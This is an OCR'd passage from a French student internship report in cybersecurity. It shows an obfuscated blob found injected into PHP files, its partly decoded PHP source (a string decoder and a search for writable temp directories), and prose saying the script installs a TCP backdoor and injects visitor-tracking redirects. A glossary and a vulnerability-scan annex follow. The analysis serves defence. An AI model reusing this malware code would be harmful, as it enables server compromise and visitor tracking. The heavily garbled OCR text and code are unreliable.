dYZFpWVTV1WVRGbMQxWnJPVmRpUEU1d1ZtdFZIR1ZXU2taaVIrNUtZallDZDFNeFRUSMFNbFkxVVZKMGFtS1dXalpXZWtWM1dqRKNWRKZ1YkdGV@1GCDZXVEI rUjAxSFI rUumFNbYIMVWlwc1IxWkh1ROZaYTI4elZXczFWbEp
XU2t0V1YyeExXalYwV1dNeVpHMVZWemx 1VTFWT 1Fsb31SbGhYVjISTVVUQMF jMWxzYUVOTLIxWlVXakowV1UxR1dsQldiWGg2WVZaYVIswnIoV1pSTUhCc1VERkORbUpWYBhCUMEWWMIWMFUXY 1 ZwRVR rdGpSMUpIVmexbldt
S1LhSESUTUdoTFLriinNXR1ZIWKZWWFJ rcDIVekJPVTFwc INsWkOWbV IZW1ZWd 1ZsVnNWWGhWV1d4e lRVAENURLVS ZEc 1YVdHeENZVEpPPZEZadWNGaESWRUp1V1VaT1EYV1djRmhTYms 1cVVqQlpkMWxWVGE1YU1IQkhUMVZhY
1dKR2NHbFRWMZhUVIW14UT1YxR1hiRmxWTWSNelUxVmSkMU13YkVSULYyUktVVEZKZDFkc1kzaGtNWEIwWWtoT 11WWkVSa@phUldSWFpFZE9TRTVYYUdsVk1taHRWMFIDWYZ0c1VriwldiVnBaWlZoa2NGT LhiSEpPTUU1d1VWZG
tTbhEV3U25kWGIXeENZakZHUOZkdVF tbFNNVNBOV ] J4b2 Iy TKhUWHBWYmS CTVVURKpKMWRZWTNoa01YQ i BZa2hPWVZVeWRIZFRWV292VXpCc1IGR1haRXBSTUVadVZWVmIWMLIYU2 toaVNGWmIaVmR rY2xwR LpGZGtSMDVIVI I
102FWSXhWbmRVTTISM1dqQnNSRkZYWkdoVO 1XeHVVekJXUTIOSFRYaFBWRTVXWix kM2 0xZHNaRWRoV j BwSVZsYzVhbUpXV205WmEyaERZVWRTUOZveUIXRINNbmcxV 1cweFIyUkd JRLINTWSSc1VgRmFNRmt3WkdGalIwcELW
bGhDVEZVeWRIZFRWV2g2WVRKT2RGWnY j RmhOVKVKdVZVWKIRMLZXY@ZoU2] rNXFVakJaZDFsVIRtOWhNalpaVTI1V1dsWiZSbkSUTUUIVFRVWNdXRTFZWkdGaVYzaDZwWMnhPY210RKOUVLIhbXhFWVZWR2IsT1ZSblphTUd4R
VVWZGtiV1ZYT1c1VFZVNUNXakpHVOZKWFpFeFNWVXAZY1hwRkSVMHLUbLI pUkVKaFZqQmF jRmxyWkZaaUl rNTBWbTFvYVZORINtOWFSV1I 1WWpGRINHS k IWbWhXYW14MVYyeGoVbUL3Ykhwyv2ItUnBYbnBzYj FkcldUVKSSMH
BaVVexYVIWSXLLRFZUV] J4eVkwV ] BWROVSWkd4bFZVWNn1XVEL4V ] IWc1kzaESSMLISVIRCS@SWZHNaRWRGTWS 1SVVE CENhRKVSYUVKWLZ t TXhZMFpuZVZwSGVHAFINDVI3V2tablEyTXLTWGXTY LhSWLRURKENRmt 3VIRWaEL
rWlpVMWRzVEZVeWNETLRWY20zVXpCc1IGRLhaRXBTTWSoMFUXVK9iMUZYUmx s VWIWCHIUVEI3ZDFWR1pGZGhSbXgwWlVKNFRGTKZ j SESYVmMIRMFpERNNXV1ZOT1VAVFIUVNpXWHBPYD JOSFNYbEGWMXBXVFdOWmVWZHNXVFZr
TVd4WLZXMDVURKVSZEhKVELIVNX1XakpXTLZWdWIHRLhSVFZwVjBaT1F rOVZiRWxUY1hoYVZqTmaNMWRXYUZ0aU1IUkpWRZE®YWswdOS5YZFpha2t4V20xTmVWSnFThUZXYW13e lYxWmOVMKk 13ZEVSaEOwWS LFaV1ZKTLZFeWIFS
mFNR3hFYVC1011XR1ZSbh1pwWV1dSelpXeG51bHBIYkdoWF I reHpWMVp ruzINeGNGUmhTR3hoVmpCYWVsa3daRWROUjBaRV1VZDBhRmMRGYBORGWFZtT jRZa 1wl j ASWFdsTmhNbmhPV1d4WkSWcHIKRLIoTTBKTVZUQkpNMUSWYG
x0bFZuQlpWRzFLV1ZVd1JUVIRWVZhMWWtac1dHVKLaRnBYUmtwMLVEQmEVMKSIVGSST1YyaHBWakZXZGxkRY JUV INNVTVXWLVWYVAVMVVhSGRUTVZKNLdgSmFVbUL3ZEVWUK1FWNVVMVZyUz JKSFVrbFdibXhwiWVZWS2Ixa3l
0VXRoUjFaWFQxUkdhv@pYZURSYVItU1dZakJ3U1Z0dGYHCGxWME 16VVRIMGOxTXdUBbLIYYWtacFLsVTBkMWx XWX pWalZXeE1Xa2Q0YTFKcWEzaFhWazVIWTBkVOOYSX1kR2xpV1Zvd1YyeE9Raz1WYkVoYVIzaHIVbXByZDFr
eUSWZGLSbWO1VGxkb2 FWWXhWb1pUTVZKNLV6Qk9kRMR1V2 1waVZs cHZWMYILYm1JeGIzbFdha@paVFRGS2IWZHIaSESsVmMLKNVRWZG3hazB3TVhaVE1VNURZVWRPTLZGWGRHAFINbmNEVVRIeGMyS1ZKRWhYYmtKcFVqRmFiV
mRzYUc5alIwMTZWVzV3VEZFeFNYZFVSM1IUVTI4V2NsWn JVbGRTVkd4VVZqR1 pOV1pHU2xkUmEwc FAdZVEJhVmxaRV] reGtWWEJJVGxkb2 FWWXhWbmRUTVdoN1V6RNdkRT1ZYkdGV01GcHhXV1ZPUW1]eGNIUMLTRTVoVIRKa2
NscEZUVEZTVms IWFUydGFVazFXU2xGV1YzaHpXbXhWZDFaclls51dhMeJEVm1OVKSWYXdLSEIWYmxaYVZucEd jMU14VGt0aF IwNDFVVmMQwYTFOR1JUZGFXR1IyWVRKUINWY LhaRkZWTUVWWFdXMHAOVNBZY@VoV21YQnBUV3h
LYzFNd1RsTk5SMUpFWVhwalJHS1h1SFIUTUdoUFRVZE9kVKZ1V2 1wbFYyUn1XalZvVW1Nd231Qk9SMnhNVIRCRKSWVkdVWGRhTVhCMFVtNUShazFzVmSkYVdHUj JZVEpTUBUXWYpFcFNSRUp1Vj14b2IyUX1Ta2hQvjNSsaFzu
SmtjRnByVGtwaklIQkpWV3BDVEZaSVRreFhiVEExW1Zad1dGSnRjRZhSTW1SeVd rvmplR1F3YkVoU2JuQktVVEZKZUZNeGFICFRNSEIIWKVoV2ZFVMHLVDWxYUMS 1010xVnNTV1Z1YkdoV2Vrsj JVMnRvVm10RK9UTmpSR3hFW
W1wQ1RGCHNSbmRQVLUIMVRVV]BhR114YkhaWFZFazFUYMRLZFZWWESVAFNNMUL4V 1dwT2Ft TkZiRVZOUKd4S1VrvkdkMXBZWkhaaELlrVjVUbGhhYTAxWVYtdFRWVKYzV2pCc2RFMVLjRZhXTVZad 1ZETmtkbUVSULhsT1dGeH
JUVmhTYTFOVIVYZGFNR3gwVjI102FtS1dXblIaYWs 1dVIWVTVNMK15ZEdoTmF sWX1XalJHTUZwRMI FVKSSMLILWWxkU@1sbHF TbXRGTVhCWYUYNWFhMUY3YXpOUklgUiNVekpPZEZacVFtdFhSWEF4VTFWalIyV1ihUub1ITYWx
aWlRURMFNYmxXYUVKT1Zu0lVXakowYUUxcVZqSmFTR3h5VGpCT2RVMUZKRYI pVmBSNFdXMHhUMDFIUmxoUFdGWk tVakpTYzFwR1dUVKSSMDUXVMOXNFdYMXFWbT1aYkdSV11qQjBXVe13ZEdwaVZsbDNXalpvUz JSVmIFULRX
R1pOWVZWR2NGUXpaSGRQV1U1dVkwY3hhMVo2Vm5GYVIXUnpaRz FLY@ZGAWNHd FRSWEF 6V 1dwT 1Q0yRKZKRVIWY LRsYVYWZDRObDHBGWKVkaGIVWTFaREp riUzFKNLZuUTLhiR1JUWXpGd 1ZHUX 1aRXRTZW14MFYyMDFUMKpIVWEWT
INHUK IWVEJKTTFFeW]FSmFNR3hFVVc1Q11XR1haRzlaVmloUFdteHNXVk51YkZwWFIzUj JVMNRqTVAKR2NGaFZiazVoVIRKMGOXTLZUBES rymSCWVZMTBhVK14Vm@1V1J rNURZVWRPZFZ0dGFHeFZNbVI5V1cweFYySkdjRW
hsUjNoTVZ raE9URKSWVGtKYUIHeE1WM] VhYW1KV1d tOVhWRXB1WWpCdINFNVh 1RO ZXTVYVWNLYyeEQRMKZIVGpWULY zUnFWMFphYzFreUSYSmpSV3hKWXpCMFNSRXdSbTVUVLU1Q1dqQnNSRKZ1UW1GaFYyZzXalZvlUzIReVN
Y cFVWemxMVWpKb2 IxcFdhRT1OUM14WVZHNUtUVKV3UMSKWk1XaFhZa2RPZFdFelRrcFINVWISY j Iwe FLXVNNj RmxWVOVKS 1VUQLZOV1 ZHVGt0aVZteF LaVWh 3wV ZVeWRHNVpNakZYVFVKU 1dWT nVWa3BUUmtvMVd rimtWazR3
VG5CULYyUKtVVEIKTLZFeWIFSmFNRIhFYVc1c1IWZEdTWGhaTWpBd1dgRndkRkp1VG1wTmIGVXpVVEKWZDFNd1RUUMlSekZLVVRKb20xbDZUaz LpUjFKRVdS jBXVTFWT LVKV1YzaGhVbXhXYz INeWIGUTNIRXBXVmxWWKSWW
NNWWGRXY kU1WLRVVMFTV1ZzV1RGV 1ZXeHpUVWhDVEZKSVRre FRhMmhYWVVWe 1IVMUhaR3BOTVV VMV rmpOvVe15ULhwYVIzaHFZVmRrY2xkRVI rOVNiR1p6VjJ0YVZtSk1UbkIWTUZWVFZsWldSMD1XV2xaTlIscFVWMFIDU] -

lllustration 11: example de code obfusqué retrouvé

Ce genre de code était injecté en téte de fichiers PHP |égitimes. Avec toutefois un
certain nombre d’espace en début de code, ce qui avait pour effet de tronquer la
partie obfusquée (donc malveillante) lorsque que le fichier était ouvert a l'aide d’'un
éditeur graphique de fichiers textes. Elle demeurait donc totalement invisible aux
yeux de I'administrateur.

C’est aussi une des raisons pour laquelle il est toujours préférable d’ouvrir un fichier
texte avec un utilitaire en ligne de commande tel que vim ou emacs.
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Passioné depuis toujours par la cryptographie je me mets alors en téte de
désobfusquer le code a l'aide d’outlis en lignes...en vain dans un premier temps.
Mais c’était sans compter sur la bieveillance de M. Longuet qui m’a beaucoup
renseigné sur le flow* du code. Je savais maintenant exactement ou taper pour faire
craquer le code. Apres avoir asséner le premier coup, je réalise qu'’il contenait a
I'intérieur un code en base 64. C’est pour moi une formidable nouvelle puisque cela
veut dire que jai tapé au bon endroit. Aprés 3 itérations, je parviens enfin a en
extraire le code en clair.

error_reporting(e@);
if (1function_exists("zM5j2q0shf _pirogok”)) {
function ZM5j2q@shf pirogok(} {
return false;

H

function Uno decode($5tring) {

$5tring = base64_decode($5tring);

$Salt = "dc5p9dopBc”;

$Strien = strlen($String);

$Seq = "DMEfSHZUPQ";

$Gamma = "";

while (strlen(sGamma) < $StrLen) {
$Seq = pack("H*", shal($Gamma.$Seq.$5alt));
$Gamma. = substr(sSeq, 8, B);

return $String * $Gamma;

H

function get t dir mass() {

if (function_exists("sys get temp_dir")) {
if (@is writeable(sys get temp dir())) {
$res[] = realpath(sys_get temp_dir());

}

1
if (lempty(s ENVI"TMP"]1) && @is writeable(realpath($ ENVI"TMP"1})) {
sres[] = realpath(s_ENV["TMP"]);

t

if (lempty($_ENV["TMPDIR"]) && @is_writeable(realpath($_ENV["TMPDIR"]))) {
sres[] = realpath(s ENV["TMPDIR"]);

1

if (lempty(s ENVI"TEMP"]) && @is writeable(realpath($ ENVI"TEMP"1))) {
sres[] = realpath(s_ENV["TEMP"]};

t

$tempfile = @tempnam(__FILE_, "");

if (@file exists($tempfile)) {@
unlink(stempfile);
if (@is_writeable(realpath(dirname($tempfile)))) {
sres[] = realpath(dirname(stempfile));
}

t
if (@is_writeable(realpath(@ini_get("upload_tmp_dir"}})) {
sres[] = realpath(@ini get("upload tmp dir"});

if (@is writeable(realpath(session save path())}) {
sres[] = realpath{session_save_path());

if (@is_writeable(realpath(dirname(_ FILE )))) {
s$res[] = realpath(dirname( FILE ));
1

return arrav nnianelérec) . -

lllustration 12: code PHP en question en clair

Il s’agit d’'un code simple mais néanmoins ingénieux :

Dans un premier temps le script regarde si le dossier de fichier temporaire du
systeme est «écrivable» ce qui permet entre autre de cerner le type de systéeme
d’exploitation executé par le serveur.

Dans un second temps le script télécharge, execute et supprime du disque un
executable qui n’est ni plus ni moins qu’'une backdoor TCP.

Puis dans un troisieme temps le script va injecter du code dans des pages du sites
juste en dessous de la balise «<body>» afin de rediriger les clients vers des pages
en prenant soins de relever leur adresse IP, leur refferer* ainsi que leur user-agent*
a des fins publicitaires.
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VIl. Conclusion

Lorsqu’il convient de conclure sur tout ce que cette expérience m’a apporté, je suis
pris d’un sentiment de nostalgie.

En effet je repense a tout ces moments ou jarpentais un monde qui m’'étais
totalement inconnu a ce jour: le monde professionnel.

Je n’étais pas pour autant sous-équipé, mes professeurs m'y avait ddement préparé
pendant deux ans dans le cadre de mon dipldme. J'y ai appris une quantité de savoir
telle que lorsque 'y repense, je me dit que sans les cours que javais recu, sans les
brigues élémentaires que I'on m’avait prodigué, je ne serais sans doute jamais arrivé
a accomplir tout ce que jai pu accomplir a 'occasion de ce stage.

Je n'étais pas trés a l'aise au départ, j'avais la sensation d’étre un peu dépasse, je
n'arrivais d'ailleurs pas a obtenir de stage ayant peu de contacts et ne sachant pas
trop ou chercher. J'en profite d’ailleurs pour remercier encore une fois M. Février et
M. Longuet de m’'avoir permis d’effectuer ce stage.

Cet exercice a sucité un réel interét et a contribué a me faire vivre une experience
unique. J'ai découvert au travers de ce stage I'envers du décors et réalisé qu'il y
avait aujourd’hui un fossé énorme dans le monde de la cybersécurité entre les
clients d'un coté, les sociétés de services tel que ITIKA de l'autre et entre les deux,
les pirates informatiques.

J'ai pris beaucoup de plaisir a comprendre et a analyser les attaques de ces derniers
dans le but de les contrer. C’est d’ailleurs pour une de ces raisons la que je compte
m’orienter dans le domaine de la cybersécurité au travers de la licence ASUR.

Pour conclure, de la recherche de stage a la soutenance en passant bien évidément
par le stage en lui méme, cet exercice m'a apporté beaucoup et représente une
excellente finalité a ces deux ans.
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VIll. Glossaire

one shot: vérification rapide. Viens de I'anglais One Shot littérallement « Un
coup »

OSVDB: Open Source Vulnerability DataBase. Base de donnée open source des
vulnérabilitées recensées par des chercheurs en sécuritées.

CVE: Common Vulnerability and Exposure. Similaire a OSVDB mais beaucoup
plus importante que cette derniere.

CLI: command line interface. C’est tout simplement I'interface en lignes de
commandes.

Root: compte super utilisateur des systémes sous Unix.

Apt: il s’agit avec Aptitude d’'un des gestionnaires de paquets de Debian.

MIB: Management Information Base. Il s’agit d'un registre contenant tout les
identifiants d’actions (OID) utilisable par un administrateur via SNMP.
Obfusqué: il s’agit de code caché (Voir lllustration 11)

flow: c’est la logique du programme. Se retrouve en anglais dans Flowchart
littéralement logigramme

refferer: dans le cadre d’HTTP il s’agit du site qui a dirigé le client vers une page
précise. Ex: si le refferer est Qwant, cela veut dire que le site a été accédé via le
moteur de recherche Qwant.

User-agent: il s’agit d’'une chaine de caractére stockée dans le chaque
naviguateur. Elle contient entre autre les informations de version, du naviguateur
(systéme d’exploitationn numéro de build...)
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IX Anhexe

Blue Eagle - Report

]
TTAK A : . 143
_L Audit name: Itika-8qFDP2QL
Targets Time Vulnerabilities summary
appll itika.net; http:-.'f.'rtika.ne-t-’ Start: Level: Number:
senver-status; hitp./fitika. net’ Z018-06-18 13:38:50.25731 1 UTC —
manual images/: backupitikanet: | End- Critical: 0
erpitikanet; devil.itkanet wiki. | 501p o5 1813:4502. 104887UTC || High: 3
itika.net; webmailitikanet, support. Total:
itika.met: man sger itikanet, webdey. ’ . Middle LI
itika.net; httpfitika. net/icons/ “"‘Yf‘é“ hours, & minutes and 12 : .
README; http//itikanet/manual;; | SECON0s Low:
hitp/fitikanet/: Informational: ]

Total: 17

YVulnerabilities by criticality Wulnerabilities by type Yulnerabilities by target

= 4 ]

Vulnerabilities

D Target Vulnerability Criticality
GOL-10 | httpe/Fitika. metf Uncategorized Yulnerability critical
GOL-11 || bt tpefitika. netS Uncategorized WVulnerability critical
GOL-12 | hittpo/fitika. metf Uncategorized YVulnerability critical
GOL-13 || bt tpeffitika. netS Uncategorized Vulnerability critical
GOL-14 | httpe/fitika. netserver-status Uncategorized Wulnerability critical
GOL-1 | webdewv itika. met Do miain Di sclo sure high
GOL-2 | erp.itika.net Do meain D sclosure high
GOL-3 | manager.itika. net Do main D sclo sure high
GOL-4 | supportitikamnet Do miain Di sclo sure high
GOL-5 | wiki.itika.net Diomain Disclo sure high
GOL-6 | dewD1.itikanet Diomain Disclo sure high
GOL-T | backup.itikanet Do meain D sclosure high
GOL-B | appD itika.net Do main D sclosure high

Annexe 1: example de rapport PDF que Blue Eagle permettait de générer
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